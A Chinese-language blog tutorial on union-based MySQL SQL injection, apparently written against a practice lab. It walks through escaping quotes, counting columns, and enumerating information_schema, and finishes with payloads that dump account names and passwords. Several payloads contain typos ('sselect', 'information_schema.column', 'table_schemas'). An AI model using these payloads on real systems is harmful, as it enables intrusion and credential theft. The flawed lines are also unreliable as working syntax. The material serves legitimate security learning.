目录
[1.order by](#1.order by)
[2. 直接使用联合查询,依次在后面加列数](#2. 直接使用联合查询,依次在后面加列数)
首先了解以下MySQL常用函数:
1.database() 查询当前数据库;
2.user() 查看当前用户;
3.version() 查看当前数据库的版本;
4.length() 查看长度;
5.substr() 截取数据库的某个字段(不能从0开始);
例:(1,2)从第一位开始截取两个字符
6.substring() 与substr相同;
7.ascii() 将英文字符转为asc码;
例:拿上面截取到的字符
知道这些函数对我们SQL注入有很大的帮助。
SQL注入流程:
1.判断注入点
2.判断注入点类型
3.判断数据库类型
4.获取数据库数据,提权
前两步在上一篇博客已经提到了,那么接下来是如何判断数据库的类型:
判断数据库的类型,主要是通过各种数据库特有的函数,字符串处理,注释等来排除、猜测数据库的类型。
那么常见数据库有:Oracle、MySQL、SQL Server、Access、Postgresql、mongodb等
上三步都完成后咱们来看看第四步该如何完成:
例:通过sql注入获取管理员的账号及密码,数据库类型为mysql且假设无过滤。
一、联合查询
要知道数据库信息,我们可以通过联合查询找到我们想要的信息,但是联合查询需要前后两个表的列数相同,那我们怎么去判断表的列数呢:
1.order by
mysql可以通过order by + 列名 进行排序,那么可以通过order by知道被查询的表有多少列;
select * from users order by (1~n)
用1~n来代替第一列到第n列的列名,当列数不对时,会出现报错,那么此时就可以确定该表的列数为报错前的列数
如下图,当 列数不对时,会报出以下错误
id=1' order by 4--+ --+用于逃逸单引号
2. 直接使用联合查询,依次在后面加列数
select * from users union select 1,2,~,n;
该方法是当列数正确是得出结果,不正确会提示列数不同
id=1' union sselect 1,2--+
通过上面的方法,我们已经知道列数了,但是上述方法都需要我们逃逸出单引号,如果没有逃逸出来,mysql会将单引号内当成一个整体,就不会执行后面的命令了。
二、怎么逃逸单引号:
需要对原有单引号进行闭合----再加一个单引号:
但是这样的话,会多出一个单引号,出现语法报错
解决方法如下:
1.可以再加一个单引号;
id=1''
2.注释;(--空格、#、/**/);
(1)#号:
id=1'#
此时通过#号注释还是出现了报错:因为url地址栏有特殊的编码方式(urlcode),它会将一些不符合它编码规则的全部进行编码
url编码规则:求asc码,转16进制,在前面加%;
例:单引号---%27
同理#号被编码为%23---此时成功
(2)--空格:
同理空格也需要编码--- %20 (--+也可以;因为在RFC-1738标准中,空格在url编码以后为+号)
此时咱们已经知道表的列数了,那么我们可以进行联合查询
id=1' union select 1,database(),3--+ 通过刚刚的函数将2替换得出当前数据库
但是并没有获取到数据,因为当id=1时,查询正常,但只取出了第一列数据;如果想让第二列被取出来只有第一列查不出来数据,才会将第二列取出来;要想第一列取不出数据---要么id特别大,要么id是-1;
id=-1' union select 1,database(),3--+ 获取到当前数据库
三、获取表名
MySQL中官方提供以下几个库:information_schema、mysql、performance_schema、sys;可以从这几个库里找
一般是在information_schema中寻找
通过限制获取对应数据库的表名
在url栏中查询(查询成功,但没有取到想要的表名)
id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
可以通过limit(0,1、1,1、2,1、3,1......)
id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+
可以通过group_concat()将查询的表名转为一列---得到需要的表名,还能起到连接作用
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
四、得到表名查询列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.column where table_schemas='security' and table_name='users'--+
五、查询账号及密码
表名、列名都已经被我们知道了,那么就可以获取到管理员的账号及密码了
id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
此时SQL注入完成。